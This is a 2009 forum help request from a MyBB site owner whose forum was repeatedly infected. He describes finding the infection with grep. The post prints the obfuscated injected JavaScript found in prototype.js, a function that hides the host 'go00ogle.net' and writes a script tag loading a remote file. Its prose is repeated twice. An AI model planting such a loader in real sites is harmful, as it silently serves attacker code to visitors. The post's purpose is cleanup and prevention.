2009-06-12, 05:27 PM
First off I'm not too familiar with security and scripts. So I apologize if my terminology is not correct.
Recently my site www.ej8squad.com has been violated by a a script pointing to malware from "go00ogle.net". Google Chrome and Safari browsers flagged my site as having malware from "\go00ogle.net. I had no idea what to do so I looked around and decided to replace everything in the "jscripts" folder with fresh copies. Luckily that seemed to fix the problem.
Well, it came back today. I contacted an admin of another site which is using phpbb. Anyway, he was nice enough to recommend I use Grep and download my entire site locally and run the query below.
He also told me to look for this code.
I ran grep and found the bad code in ".\jscripts\prototype.js". Uploaded a fresh copy and according to Firefox add-on NoScript the script is not loading anymore.
How can I stop from getting infected for a third time? Is this a bug in MyBB or a poorly written plugin?
Thanks for reading,
Jeremy
Recently my site www.ej8squad.com has been violated by a a script pointing to malware from "go00ogle.net". Google Chrome and Safari browsers flagged my site as having malware from "\go00ogle.net. I had no idea what to do so I looked around and decided to replace everything in the "jscripts" folder with fresh copies. Luckily that seemed to fix the problem.
Well, it came back today. I contacted an admin of another site which is using phpbb. Anyway, he was nice enough to recommend I use Grep and download my entire site locally and run the query below.
grep advQuery C:\place_where_you_copied_your_website\*.* -r
He also told me to look for this code.
function advQuery()
{
var Host="http://google.com/";Track="/if.php";get=unescape("%6E%65%74");
document.write(unescape("%3Cscript src='"+Host.substr(0,9)+unescape("\u0030\u0030")+Host.substr(9,5)+get));
document.write(unescape(Track+"' type='text/javascript'%3E%3C/script%3E"));
}
;advQuery();
I ran grep and found the bad code in ".\jscripts\prototype.js". Uploaded a fresh copy and according to Firefox add-on NoScript the script is not loading anymore.
How can I stop from getting infected for a third time? Is this a bug in MyBB or a poorly written plugin?
Thanks for reading,
Jeremy